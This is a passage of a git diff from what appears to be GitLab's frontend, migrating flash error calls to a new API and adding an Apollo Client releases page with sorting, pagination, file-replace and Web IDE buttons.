+++ b/app/assets/javascripts/related_issues/components/related_issues_root.vue
@@ -23,7 +23,7 @@ Your caret can stop touching a `rawReference` can happen in a variety of ways:
and hide the `AddIssuableForm` area.
*/
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import {
relatedIssuesRemoveErrorMap,
@@ -122,11 +122,11 @@ export default {
})
.catch((res) => {
if (res && res.status !== 404) {
- Flash(relatedIssuesRemoveErrorMap[this.issuableType]);
+ createFlash({ message: relatedIssuesRemoveErrorMap[this.issuableType] });
}
});
} else {
- Flash(pathIndeterminateErrorMap[this.issuableType]);
+ createFlash({ message: pathIndeterminateErrorMap[this.issuableType] });
}
},
onToggleAddRelatedIssuesForm() {
@@ -155,7 +155,7 @@ export default {
if (response && response.data && response.data.message) {
errorMessage = response.data.message;
}
- Flash(errorMessage);
+ createFlash({ message: errorMessage });
})
.finally(() => {
this.isSubmitting = false;
@@ -176,7 +176,7 @@ export default {
})
.catch(() => {
this.store.setRelatedIssues([]);
- Flash(__('An error occurred while fetching issues.'));
+ createFlash({ message: __('An error occurred while fetching issues.') });
})
.finally(() => {
this.isFetching = false;
@@ -197,7 +197,7 @@ export default {
}
})
.catch(() => {
- Flash(__('An error occurred while reordering issues.'));
+ createFlash({ message: __('An error occurred while reordering issues.') });
});
}
},
diff --git a/app/assets/javascripts/related_merge_requests/store/actions.js b/app/assets/javascripts/related_merge_requests/store/actions.js
index e9f0793a350..652d03a0fd0 100644
--- a/app/assets/javascripts/related_merge_requests/store/actions.js
+++ b/app/assets/javascripts/related_merge_requests/store/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { normalizeHeaders } from '~/lib/utils/common_utils';
import { s__ } from '~/locale';
@@ -29,6 +29,8 @@ export const fetchMergeRequests = ({ state, dispatch }) => {
})
.catch(() => {
dispatch('receiveDataError');
- createFlash(s__('Something went wrong while fetching related merge requests.'));
+ createFlash({
+ message: s__('Something went wrong while fetching related merge requests.'),
+ });
});
};
diff --git a/app/assets/javascripts/releases/components/app_index_apollo_client.vue b/app/assets/javascripts/releases/components/app_index_apollo_client.vue
new file mode 100644
index 00000000000..ea0aa409577
--- /dev/null
+++ b/app/assets/javascripts/releases/components/app_index_apollo_client.vue
@@ -0,0 +1,275 @@
+<script>
+import { GlButton } from '@gitlab/ui';
+import createFlash from '~/flash';
+import { historyPushState, getParameterByName } from '~/lib/utils/common_utils';
+import { scrollUp } from '~/lib/utils/scroll_utils';
+import { setUrlParams } from '~/lib/utils/url_utility';
+import { __ } from '~/locale';
+import { PAGE_SIZE, DEFAULT_SORT } from '~/releases/constants';
+import allReleasesQuery from '~/releases/graphql/queries/all_releases.query.graphql';
+import { convertAllReleasesGraphQLResponse } from '~/releases/util';
+import ReleaseBlock from './release_block.vue';
+import ReleaseSkeletonLoader from './release_skeleton_loader.vue';
+import ReleasesEmptyState from './releases_empty_state.vue';
+import ReleasesPaginationApolloClient from './releases_pagination_apollo_client.vue';
+import ReleasesSortApolloClient from './releases_sort_apollo_client.vue';
+
+export default {
+ name: 'ReleasesIndexApolloClientApp',
+ components: {
+ GlButton,
+ ReleaseBlock,
+ ReleaseSkeletonLoader,
+ ReleasesEmptyState,
+ ReleasesPaginationApolloClient,
+ ReleasesSortApolloClient,
+ },
+ inject: {
+ projectPath: {
+ default: '',
+ },
+ newReleasePath: {
+ default: '',
+ },
+ },
+ apollo: {
+ /**
+ * The same query as `fullGraphqlResponse`, except that it limits its
+ * results to a single item. This causes this request to complete much more
+ * quickly than `fullGraphqlResponse`, which allows the page to show
+ * meaningful content to the user much earlier.
+ */
+ singleGraphqlResponse: {
+ query: allReleasesQuery,
+ // This trick only works when paginating _forward_.
+ // When paginating backwards, limiting the query to a single item loads
+ // the _last_ item in the page, which is not useful for our purposes.
+ skip() {
+ return !this.includeSingleQuery;
+ },
+ variables() {
+ return {
+ ...this.queryVariables,
+ first: 1,
+ };
+ },
+ update(data) {
+ return { data };
+ },
+ error() {
+ this.singleRequestError = true;
+ },
+ },
+ fullGraphqlResponse: {
+ query: allReleasesQuery,
+ variables() {
+ return this.queryVariables;
+ },
+ update(data) {
+ return { data };
+ },
+ error(error) {
+ this.fullRequestError = true;
+
+ createFlash({
+ message: this.$options.i18n.errorMessage,
+ captureError: true,
+ error,
+ });
+ },
+ },
+ },
+ data() {
+ return {
+ singleRequestError: false,
+ fullRequestError: false,
+ cursors: {
+ before: getParameterByName('before'),
+ after: getParameterByName('after'),
+ },
+ sort: DEFAULT_SORT,
+ };
+ },
+ computed: {
+ queryVariables() {
+ let paginationParams = { first: PAGE_SIZE };
+ if (this.cursors.after) {
+ paginationParams = {
+ after: this.cursors.after,
+ first: PAGE_SIZE,
+ };
+ } else if (this.cursors.before) {
+ paginationParams = {
+ before: this.cursors.before,
+ last: PAGE_SIZE,
+ };
+ }
+
+ return {
+ fullPath: this.projectPath,
+ ...paginationParams,
+ sort: this.sort,
+ };
+ },
+ /**
+ * @returns {Boolean} Whether or not to request/include
+ * the results of the single-item query
+ */
+ includeSingleQuery() {
+ return Boolean(!this.cursors.before || this.cursors.after);
+ },
+ isSingleRequestLoading() {
+ return this.$apollo.queries.singleGraphqlResponse.loading;
+ },
+ isFullRequestLoading() {
+ return this.$apollo.queries.fullGraphqlResponse.loading;
+ },
+ /**
+ * @returns {Boolean} `true` if the `singleGraphqlResponse`
+ * query has finished loading without errors
+ */
+ isSingleRequestLoaded() {
+ return Boolean(!this.isSingleRequestLoading && this.singleGraphqlResponse?.data.project);
+ },
+ /**
+ * @returns {Boolean} `true` if the `fullGraphqlResponse`
+ * query has finished loading without errors
+ */
+ isFullRequestLoaded() {
+ return Boolean(!this.isFullRequestLoading && this.fullGraphqlResponse?.data.project);
+ },
+ releases() {
+ if (this.isFullRequestLoaded) {
+ return convertAllReleasesGraphQLResponse(this.fullGraphqlResponse).data;
+ }
+
+ if (this.isSingleRequestLoaded && this.includeSingleQuery) {
+ return convertAllReleasesGraphQLResponse(this.singleGraphqlResponse).data;
+ }
+
+ return [];
+ },
+ pageInfo() {
+ if (!this.isFullRequestLoaded) {
+ return {
+ hasPreviousPage: false,
+ hasNextPage: false,
+ };
+ }
+
+ return this.fullGraphqlResponse.data.project.releases.pageInfo;
+ },
+ shouldRenderEmptyState() {
+ return this.isFullRequestLoaded && this.releases.length === 0;
+ },
+ shouldRenderLoadingIndicator() {
+ return (
+ (this.isSingleRequestLoading && !this.singleRequestError && !this.isFullRequestLoaded) ||
+ (this.isFullRequestLoading && !this.fullRequestError)
+ );
+ },
+ shouldRenderPagination() {
+ return this.isFullRequestLoaded && !this.shouldRenderEmptyState;
+ },
+ },
+ created() {
+ this.updateQueryParamsFromUrl();
+
+ window.addEventListener('popstate', this.updateQueryParamsFromUrl);
+ },
+ destroyed() {
+ window.removeEventListener('popstate', this.updateQueryParamsFromUrl);
+ },
+ methods: {
+ getReleaseKey(release, index) {
+ return [release.tagName, release.name, index].join('|');
+ },
+ updateQueryParamsFromUrl() {
+ this.cursors.before = getParameterByName('before');
+ this.cursors.after = getParameterByName('after');
+ },
+ onPaginationButtonPress() {
+ this.updateQueryParamsFromUrl();
+
+ // In some cases, Apollo Client is able to pull its results from the cache instead of making
+ // a new network request. In these cases, the page's content gets swapped out immediately without
+ // changing the page's scroll, leaving the user looking at the bottom of the new page.
+ // To make the experience consistent, regardless of how the data is sourced, we manually
+ // scroll to the top of the page every time a pagination button is pressed.
+ scrollUp();
+ },
+ onSortChanged(newSort) {
+ if (this.sort === newSort) {
+ return;
+ }
+
+ // Remove the "before" and "after" query parameters from the URL,
+ // effectively placing the user back on page 1 of the results.
+ // This prevents the frontend from requesting the results sorted
+ // by one field (e.g. `released_at`) while using a pagination cursor
+ // intended for a different field (e.g.) `created_at`).
+ // For more details, see the MR that introduced this change:
+ // https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63434
+ historyPushState(
+ setUrlParams({
+ before: null,
+ after: null,
+ }),
+ );
+
+ this.updateQueryParamsFromUrl();
+
+ this.sort = newSort;
+ },
+ },
+ i18n: {
+ newRelease: __('New release'),
+ errorMessage: __('An error occurred while fetching the releases. Please try again.'),
+ },
+};
+</script>
+<template>
+ <div class="flex flex-column mt-2">
+ <div class="gl-align-self-end gl-mb-3">
+ <releases-sort-apollo-client :value="sort" class="gl-mr-2" @input="onSortChanged" />
+
+ <gl-button
+ v-if="newReleasePath"
+ :href="newReleasePath"
+ :aria-describedby="shouldRenderEmptyState && 'releases-description'"
+ category="primary"
+ variant="success"
+ >{{ $options.i18n.newRelease }}</gl-button
+ >
+ </div>
+
+ <releases-empty-state v-if="shouldRenderEmptyState" />
+
+ <release-block
+ v-for="(release, index) in releases"
+ :key="getReleaseKey(release, index)"
+ :release="release"
+ :class="{ 'linked-card': releases.length > 1 && index !== releases.length - 1 }"
+ />
+
+ <release-skeleton-loader v-if="shouldRenderLoadingIndicator" />
+
+ <releases-pagination-apollo-client
+ v-if="shouldRenderPagination"
+ :page-info="pageInfo"
+ @prev="onPaginationButtonPress"
+ @next="onPaginationButtonPress"
+ />
+ </div>
+</template>
+<style>
+.linked-card::after {
+ width: 1px;
+ content: ' ';
+ border: 1px solid #e5e5e5;
+ height: 17px;
+ top: 100%;
+ position: absolute;
+ left: 32px;
+}
+</style>
diff --git a/app/assets/javascripts/releases/components/releases_empty_state.vue b/app/assets/javascripts/releases/components/releases_empty_state.vue
new file mode 100644
index 00000000000..800497c186a
--- /dev/null
+++ b/app/assets/javascripts/releases/components/releases_empty_state.vue
@@ -0,0 +1,44 @@
+<script>
+import { GlEmptyState, GlLink } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ name: 'ReleasesEmptyState',
+ components: {
+ GlEmptyState,
+ GlLink,
+ },
+ inject: {
+ documentationPath: {
+ default: '',
+ },
+ illustrationPath: {
+ default: '',
+ },
+ },
+ i18n: {
+ emptyStateTitle: __('Getting started with releases'),
+ emptyStateText: __(
+ "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software.",
+ ),
+ releasesDocumentation: __('Releases documentation'),
+ moreInformation: __('More information'),
+ },
+};
+</script>
+<template>
+ <gl-empty-state :title="$options.i18n.emptyStateTitle" :svg-path="illustrationPath">
+ <template #description>
+ <span id="releases-description">
+ {{ $options.i18n.emptyStateText }}
+ <gl-link
+ :href="documentationPath"
+ :aria-label="$options.i18n.releasesDocumentation"
+ target="_blank"
+ >
+ {{ $options.i18n.moreInformation }}
+ </gl-link>
+ </span>
+ </template>
+ </gl-empty-state>
+</template>
diff --git a/app/assets/javascripts/releases/components/releases_pagination_apollo_client.vue b/app/assets/javascripts/releases/components/releases_pagination_apollo_client.vue
new file mode 100644
index 00000000000..73339677a4b
--- /dev/null
+++ b/app/assets/javascripts/releases/components/releases_pagination_apollo_client.vue
@@ -0,0 +1,37 @@
+<script>
+import { GlKeysetPagination } from '@gitlab/ui';
+import { isBoolean } from 'lodash';
+import { historyPushState, buildUrlWithCurrentLocation } from '~/lib/utils/common_utils';
+
+export default {
+ name: 'ReleasesPaginationApolloClient',
+ components: { GlKeysetPagination },
+ props: {
+ pageInfo: {
+ type: Object,
+ required: true,
+ validator: (info) => isBoolean(info.hasPreviousPage) && isBoolean(info.hasNextPage),
+ },
+ },
+ methods: {
+ onPrev(before) {
+ historyPushState(buildUrlWithCurrentLocation(`?before=${before}`));
+ },
+ onNext(after) {
+ historyPushState(buildUrlWithCurrentLocation(`?after=${after}`));
+ },
+ },
+};
+</script>
+<template>
+ <div class="gl-display-flex gl-justify-content-center">
+ <gl-keyset-pagination
+ v-bind="pageInfo"
+ :prev-text="__('Prev')"
+ :next-text="__('Next')"
+ v-on="$listeners"
+ @prev="onPrev($event)"
+ @next="onNext($event)"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/releases/components/releases_sort.vue b/app/assets/javascripts/releases/components/releases_sort.vue
index 4988904a2cd..d4210dad19c 100644
--- a/app/assets/javascripts/releases/components/releases_sort.vue
+++ b/app/assets/javascripts/releases/components/releases_sort.vue
@@ -1,7 +1,7 @@
<script>
import { GlSorting, GlSortingItem } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
-import { ASCENDING_ODER, DESCENDING_ORDER, SORT_OPTIONS } from '../constants';
+import { ASCENDING_ORDER, DESCENDING_ORDER, SORT_OPTIONS } from '../constants';
export default {
name: 'ReleasesSort',
@@ -22,13 +22,13 @@ export default {
return option.label;
},
isSortAscending() {
- return this.sort === ASCENDING_ODER;
+ return this.sort === ASCENDING_ORDER;
},
},
methods: {
...mapActions('index', ['setSorting']),
onDirectionChange() {
- const sort = this.isSortAscending ? DESCENDING_ORDER : ASCENDING_ODER;
+ const sort = this.isSortAscending ? DESCENDING_ORDER : ASCENDING_ORDER;
this.setSorting({ sort });
this.$emit('sort:changed');
},
diff --git a/app/assets/javascripts/releases/components/releases_sort_apollo_client.vue b/app/assets/javascripts/releases/components/releases_sort_apollo_client.vue
new file mode 100644
index 00000000000..7257b34bbf6
--- /dev/null
+++ b/app/assets/javascripts/releases/components/releases_sort_apollo_client.vue
@@ -0,0 +1,91 @@
+<script>
+import { GlSorting, GlSortingItem } from '@gitlab/ui';
+import {
+ ASCENDING_ORDER,
+ DESCENDING_ORDER,
+ SORT_OPTIONS,
+ RELEASED_AT,
+ CREATED_AT,
+ RELEASED_AT_ASC,
+ RELEASED_AT_DESC,
+ CREATED_ASC,
+ ALL_SORTS,
+ SORT_MAP,
+} from '../constants';
+
+export default {
+ name: 'ReleasesSortApolloclient',
+ components: {
+ GlSorting,
+ GlSortingItem,
+ },
+ props: {
+ value: {
+ type: String,
+ required: true,
+ validator: (sort) => ALL_SORTS.includes(sort),
+ },
+ },
+ computed: {
+ orderBy() {
+ if (this.value === RELEASED_AT_ASC || this.value === RELEASED_AT_DESC) {
+ return RELEASED_AT;
+ }
+
+ return CREATED_AT;
+ },
+ direction() {
+ if (this.value === RELEASED_AT_ASC || this.value === CREATED_ASC) {
+ return ASCENDING_ORDER;
+ }
+
+ return DESCENDING_ORDER;
+ },
+ sortOptions() {
+ return SORT_OPTIONS;
+ },
+ sortText() {
+ return this.sortOptions.find((s) => s.orderBy === this.orderBy).label;
+ },
+ isDirectionAscending() {
+ return this.direction === ASCENDING_ORDER;
+ },
+ },
+ methods: {
+ onDirectionChange() {
+ const direction = this.isDirectionAscending ? DESCENDING_ORDER : ASCENDING_ORDER;
+ this.emitInputEventIfChanged(this.orderBy, direction);
+ },
+ onSortItemClick(item) {
+ this.emitInputEventIfChanged(item.orderBy, this.direction);
+ },
+ isActiveSortItem(item) {
+ return this.orderBy === item.orderBy;
+ },
+ emitInputEventIfChanged(orderBy, direction) {
+ const newSort = SORT_MAP[orderBy][direction];
+ if (newSort !== this.value) {
+ this.$emit('input', SORT_MAP[orderBy][direction]);
+ }
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-sorting
+ :text="sortText"
+ :is-ascending="isDirectionAscending"
+ data-testid="releases-sort"
+ @sortDirectionChange="onDirectionChange"
+ >
+ <gl-sorting-item
+ v-for="item of sortOptions"
+ :key="item.orderBy"
+ :active="isActiveSortItem(item)"
+ @click="onSortItemClick(item)"
+ >
+ {{ item.label }}
+ </gl-sorting-item>
+ </gl-sorting>
+</template>
diff --git a/app/assets/javascripts/releases/constants.js b/app/assets/javascripts/releases/constants.js
index f9653e0befa..4f862741e11 100644
--- a/app/assets/javascripts/releases/constants.js
+++ b/app/assets/javascripts/releases/constants.js
@@ -15,7 +15,7 @@ export const DEFAULT_ASSET_LINK_TYPE = ASSET_LINK_TYPE.OTHER;
export const PAGE_SIZE = 10;
-export const ASCENDING_ODER = 'asc';
+export const ASCENDING_ORDER = 'asc';
export const DESCENDING_ORDER = 'desc';
export const RELEASED_AT = 'released_at';
export const CREATED_AT = 'created_at';
@@ -30,3 +30,22 @@ export const SORT_OPTIONS = [
label: __('Created date'),
},
];
+
+export const RELEASED_AT_ASC = 'RELEASED_AT_ASC';
+export const RELEASED_AT_DESC = 'RELEASED_AT_DESC';
+export const CREATED_ASC = 'CREATED_ASC';
+export const CREATED_DESC = 'CREATED_DESC';
+export const ALL_SORTS = [RELEASED_AT_ASC, RELEASED_AT_DESC, CREATED_ASC, CREATED_DESC];
+
+export const SORT_MAP = {
+ [RELEASED_AT]: {
+ [ASCENDING_ORDER]: RELEASED_AT_ASC,
+ [DESCENDING_ORDER]: RELEASED_AT_DESC,
+ },
+ [CREATED_AT]: {
+ [ASCENDING_ORDER]: CREATED_ASC,
+ [DESCENDING_ORDER]: CREATED_DESC,
+ },
+};
+
+export const DEFAULT_SORT = RELEASED_AT_DESC;
diff --git a/app/assets/javascripts/releases/mount_index.js b/app/assets/javascripts/releases/mount_index.js
index bb21ec7c43f..59f6ebfc928 100644
--- a/app/assets/javascripts/releases/mount_index.js
+++ b/app/assets/javascripts/releases/mount_index.js
@@ -1,14 +1,44 @@
import Vue from 'vue';
+import VueApollo from 'vue-apollo';
import Vuex from 'vuex';
+import createDefaultClient from '~/lib/graphql';
import ReleaseIndexApp from './components/app_index.vue';
+import ReleaseIndexApollopClientApp from './components/app_index_apollo_client.vue';
import createStore from './stores';
import createIndexModule from './stores/modules/index';
-Vue.use(Vuex);
-
export default () => {
const el = document.getElementById('js-releases-page');
+ if (window.gon?.features?.releasesIndexApolloClient) {
+ Vue.use(VueApollo);
+
+ const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(
+ {},
+ {
+ // This page attempts to decrease the perceived loading time
+ // by sending two requests: one request for the first item only (which
+ // completes relatively quickly), and one for all the items (which is slower).
+ // By default, Apollo Client batches these requests together, which defeats
+ // the purpose of making separate requests. So we explicitly
+ // disable batching on this page.
+ batchMax: 1,
+ assumeImmutableResults: true,
+ },
+ ),
+ });
+
+ return new Vue({
+ el,
+ apolloProvider,
+ provide: { ...el.dataset },
+ render: (h) => h(ReleaseIndexApollopClientApp),
+ });
+ }
+
+ Vue.use(Vuex);
+
return new Vue({
el,
store: createStore({
diff --git a/app/assets/javascripts/releases/stores/modules/edit_new/actions.js b/app/assets/javascripts/releases/stores/modules/edit_new/actions.js
index b312c2a7506..5955ec3352e 100644
--- a/app/assets/javascripts/releases/stores/modules/edit_new/actions.js
+++ b/app/assets/javascripts/releases/stores/modules/edit_new/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { redirectTo } from '~/lib/utils/url_utility';
import { s__ } from '~/locale';
import createReleaseMutation from '~/releases/graphql/mutations/create_release.mutation.graphql';
@@ -39,7 +39,9 @@ export const fetchRelease = async ({ commit, state }) => {
commit(types.RECEIVE_RELEASE_SUCCESS, release);
} catch (error) {
commit(types.RECEIVE_RELEASE_ERROR, error);
- createFlash(s__('Release|Something went wrong while getting the release details.'));
+ createFlash({
+ message: s__('Release|Something went wrong while getting the release details.'),
+ });
}
};
@@ -124,7 +126,9 @@ export const createRelease = async ({ commit, dispatch, state, getters }) => {
dispatch('receiveSaveReleaseSuccess', response.data.releaseCreate.release.links.selfUrl);
} catch (error) {
commit(types.RECEIVE_SAVE_RELEASE_ERROR, error);
- createFlash(s__('Release|Something went wrong while creating a new release.'));
+ createFlash({
+ message: s__('Release|Something went wrong while creating a new release.'),
+ });
}
};
@@ -214,6 +218,8 @@ export const updateRelease = async ({ commit, dispatch, state, getters }) => {
dispatch('receiveSaveReleaseSuccess', state.release._links.self);
} catch (error) {
commit(types.RECEIVE_SAVE_RELEASE_ERROR, error);
- createFlash(s__('Release|Something went wrong while saving the release details.'));
+ createFlash({
+ message: s__('Release|Something went wrong while saving the release details.'),
+ });
}
};
diff --git a/app/assets/javascripts/releases/stores/modules/index/actions.js b/app/assets/javascripts/releases/stores/modules/index/actions.js
index 00be25f089b..d3bb11cab30 100644
--- a/app/assets/javascripts/releases/stores/modules/index/actions.js
+++ b/app/assets/javascripts/releases/stores/modules/index/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import { PAGE_SIZE } from '~/releases/constants';
import allReleasesQuery from '~/releases/graphql/queries/all_releases.query.graphql';
@@ -57,7 +57,9 @@ export const fetchReleases = ({ dispatch, commit, state }, { before, after }) =>
export const receiveReleasesError = ({ commit }) => {
commit(types.RECEIVE_RELEASES_ERROR);
- createFlash(__('An error occurred while fetching the releases. Please try again.'));
+ createFlash({
+ message: __('An error occurred while fetching the releases. Please try again.'),
+ });
};
export const setSorting = ({ commit }, data) => commit(types.SET_SORTING, data);
diff --git a/app/assets/javascripts/reports/codequality_report/components/codequality_issue_body.vue b/app/assets/javascripts/reports/codequality_report/components/codequality_issue_body.vue
index dabfb623f43..736c8668a34 100644
--- a/app/assets/javascripts/reports/codequality_report/components/codequality_issue_body.vue
+++ b/app/assets/javascripts/reports/codequality_report/components/codequality_issue_body.vue
@@ -61,7 +61,7 @@ export default {
<span :class="severityClass" class="gl-mr-5" data-testid="codequality-severity-icon">
<gl-icon v-tooltip="severityLabel" :name="severityIcon" :size="12" />
</span>
- <div class="gl-flex-fill-1">
+ <div class="gl-flex-grow-1">
<div>
<strong v-if="isStatusSuccess">{{ s__('ciReport|Fixed:') }}</strong>
{{ issueName }}
diff --git a/app/assets/javascripts/reports/codequality_report/grouped_codequality_reports_app.vue b/app/assets/javascripts/reports/codequality_report/grouped_codequality_reports_app.vue
index 3287ba691bf..e568950380e 100644
--- a/app/assets/javascripts/reports/codequality_report/grouped_codequality_reports_app.vue
+++ b/app/assets/javascripts/reports/codequality_report/grouped_codequality_reports_app.vue
@@ -12,11 +12,24 @@ export default {
ReportSection,
},
props: {
+ headPath: {
+ type: String,
+ required: true,
+ },
+ headBlobPath: {
+ type: String,
+ required: true,
+ },
basePath: {
type: String,
required: false,
default: null,
},
+ baseBlobPath: {
+ type: String,
+ required: false,
+ default: null,
+ },
codequalityReportsPath: {
type: String,
required: false,
@@ -40,6 +53,9 @@ export default {
created() {
this.setPaths({
basePath: this.basePath,
+ headPath: this.headPath,
+ baseBlobPath: this.baseBlobPath,
+ headBlobPath: this.headBlobPath,
reportsPath: this.codequalityReportsPath,
helpPath: this.codequalityHelpPath,
});
diff --git a/app/assets/javascripts/reports/codequality_report/store/mutations.js b/app/assets/javascripts/reports/codequality_report/store/mutations.js
index 8edeb6cc976..095e6637966 100644
--- a/app/assets/javascripts/reports/codequality_report/store/mutations.js
+++ b/app/assets/javascripts/reports/codequality_report/store/mutations.js
@@ -3,6 +3,9 @@ import * as types from './mutation_types';
export default {
[types.SET_PATHS](state, paths) {
state.basePath = paths.basePath;
+ state.headPath = paths.headPath;
+ state.baseBlobPath = paths.baseBlobPath;
+ state.headBlobPath = paths.headBlobPath;
state.reportsPath = paths.reportsPath;
state.helpPath = paths.helpPath;
},
diff --git a/app/assets/javascripts/repository/components/blob_content_viewer.vue b/app/assets/javascripts/repository/components/blob_content_viewer.vue
index a9701c8f8aa..7fbf331d585 100644
--- a/app/assets/javascripts/repository/components/blob_content_viewer.vue
+++ b/app/assets/javascripts/repository/components/blob_content_viewer.vue
@@ -8,11 +8,13 @@ import createFlash from '~/flash';
import { __ } from '~/locale';
import blobInfoQuery from '../queries/blob_info.query.graphql';
import BlobHeaderEdit from './blob_header_edit.vue';
+import BlobReplace from './blob_replace.vue';
export default {
components: {
BlobHeader,
BlobHeaderEdit,
+ BlobReplace,
BlobContent,
GlLoadingIcon,
},
@@ -87,6 +89,9 @@ export default {
};
},
computed: {
+ isLoggedIn() {
+ return Boolean(gon.current_user_id);
+ },
isLoading() {
return this.$apollo.queries.project.loading;
},
@@ -126,7 +131,17 @@ export default {
@viewer-changed="switchViewer"
>
<template #actions>
- <blob-header-edit :edit-path="blobInfo.editBlobPath" />
+ <blob-header-edit
+ :edit-path="blobInfo.editBlobPath"
+ :web-ide-path="blobInfo.ideEditPath"
+ />
+ <blob-replace
+ v-if="isLoggedIn"
+ :path="path"
+ :name="blobInfo.name"
+ :replace-path="blobInfo.replacePath"
+ :can-push-code="blobInfo.canModifyBlob"
+ />
</template>
</blob-header>
<blob-content
diff --git a/app/assets/javascripts/repository/components/blob_header_edit.vue b/app/assets/javascripts/repository/components/blob_header_edit.vue
index f3649895736..3d97ebe89e4 100644
--- a/app/assets/javascripts/repository/components/blob_header_edit.vue
+++ b/app/assets/javascripts/repository/components/blob_header_edit.vue
@@ -1,25 +1,47 @@
<script>
import { GlButton } from '@gitlab/ui';
import { __ } from '~/locale';
+import WebIdeLink from '~/vue_shared/components/web_ide_link.vue';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
i18n: {
edit: __('Edit'),
+ webIde: __('Web IDE'),
},
components: {
GlButton,
+ WebIdeLink,
},
+ mixins: [glFeatureFlagsMixin()],
props: {
editPath: {
type: String,
required: true,
},
+ webIdePath: {
+ type: String,
+ required: true,
+ },
},
};
</script>
<template>
- <gl-button category="primary" variant="confirm" class="gl-mr-3" :href="editPath">
- {{ $options.i18n.edit }}
- </gl-button>
+ <web-ide-link
+ v-if="glFeatures.consolidatedEditButton"
+ class="gl-mr-3"
+ :edit-url="editPath"
+ :web-ide-url="webIdePath"
+ :is-blob="true"
+ />
+ <div v-else>
+ <gl-button class="gl-mr-2" category="primary" variant="confirm" :href="editPath">
+ {{ $options.i18n.edit }}
+ </gl-button>
+
+ <gl-button class="gl-mr-3" category="primary" variant="confirm" :href="webIdePath">
+ {{ $options.i18n.webIde }}
+ </gl-button>
+ </div>
</template>
diff --git a/app/assets/javascripts/repository/components/blob_replace.vue b/app/assets/javascripts/repository/components/blob_replace.vue
new file mode 100644
index 00000000000..91d7811eb6d
--- /dev/null
+++ b/app/assets/javascripts/repository/components/blob_replace.vue
@@ -0,0 +1,75 @@
+<script>
+import { GlButton, GlModalDirective } from '@gitlab/ui';
+import { uniqueId } from 'lodash';
+import { sprintf, __ } from '~/locale';
+import getRefMixin from '../mixins/get_ref';
+import UploadBlobModal from './upload_blob_modal.vue';
+
+export default {
+ i18n: {
+ replace: __('Replace'),
+ replacePrimaryBtnText: __('Replace file'),
+ },
+ components: {
+ GlButton,
+ UploadBlobModal,
+ },
+ directives: {
+ GlModal: GlModalDirective,
+ },
+ mixins: [getRefMixin],
+ inject: {
+ targetBranch: {
+ default: '',
+ },
+ originalBranch: {
+ default: '',
+ },
+ },
+ props: {
+ name: {
+ type: String,
+ required: true,
+ },
+ path: {
+ type: String,
+ required: true,
+ },
+ replacePath: {
+ type: String,
+ required: true,
+ },
+ canPushCode: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ computed: {
+ replaceModalId() {
+ return uniqueId('replace-modal');
+ },
+ title() {
+ return sprintf(__('Replace %{name}'), { name: this.name });
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-mr-3">
+ <gl-button v-gl-modal="replaceModalId">
+ {{ $options.i18n.replace }}
+ </gl-button>
+ <upload-blob-modal
+ :modal-id="replaceModalId"
+ :modal-title="title"
+ :commit-message="title"
+ :target-branch="targetBranch || ref"
+ :original-branch="originalBranch || ref"
+ :can-push-code="canPushCode"
+ :path="path"
+ :replace-path="replacePath"
+ :primary-btn-text="$options.i18n.replacePrimaryBtnText"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/repository/components/table/index.vue b/app/assets/javascripts/repository/components/table/index.vue
index 22dffb7d2db..ca5711de49c 100644
--- a/app/assets/javascripts/repository/components/table/index.vue
+++ b/app/assets/javascripts/repository/components/table/index.vue
@@ -51,6 +51,9 @@ export default {
};
},
computed: {
+ totalEntries() {
+ return Object.values(this.entries).flat().length;
+ },
tableCaption() {
if (this.isLoading) {
return sprintf(
@@ -111,6 +114,7 @@ export default {
:submodule-tree-url="entry.treeUrl"
:lfs-oid="entry.lfsOid"
:loading-path="loadingPath"
+ :total-entries="totalEntries"
/>
</template>
<template v-if="isLoading">
diff --git a/app/assets/javascripts/repository/components/table/row.vue b/app/assets/javascripts/repository/components/table/row.vue
index 8ea5fce92fa..62f863db871 100644
--- a/app/assets/javascripts/repository/components/table/row.vue
+++ b/app/assets/javascripts/repository/components/table/row.vue
@@ -7,13 +7,17 @@ import {
GlTooltipDirective,
GlLoadingIcon,
GlIcon,
+ GlHoverLoadDirective,
} from '@gitlab/ui';
import { escapeRegExp } from 'lodash';
+import filesQuery from 'shared_queries/repository/files.query.graphql';
import { escapeFileUrl } from '~/lib/utils/url_utility';
+import { TREE_PAGE_SIZE } from '~/repository/constants';
import FileIcon from '~/vue_shared/components/file_icon.vue';
import TimeagoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import getRefMixin from '../../mixins/get_ref';
+import blobInfoQuery from '../../queries/blob_info.query.graphql';
import commitQuery from '../../queries/commit.query.graphql';
export default {
@@ -28,6 +32,7 @@ export default {
},
directives: {
GlTooltip: GlTooltipDirective,
+ GlHoverLoad: GlHoverLoadDirective,
},
apollo: {
commit: {
@@ -38,12 +43,17 @@ export default {
type: this.type,
path: this.currentPath,
projectPath: this.projectPath,
+ maxOffset: this.totalEntries,
};
},
},
},
mixins: [getRefMixin, glFeatureFlagMixin()],
props: {
+ totalEntries: {
+ type: Number,
+ required: true,
+ },
id: {
type: String,
required: true,
@@ -139,6 +149,33 @@ export default {
return this.commit && this.commit.lockLabel;
},
},
+ methods: {
+ handlePreload() {
+ return this.isFolder ? this.loadFolder() : this.loadBlob();
+ },
+ loadFolder() {
+ this.apolloQuery(filesQuery, {
+ projectPath: this.projectPath,
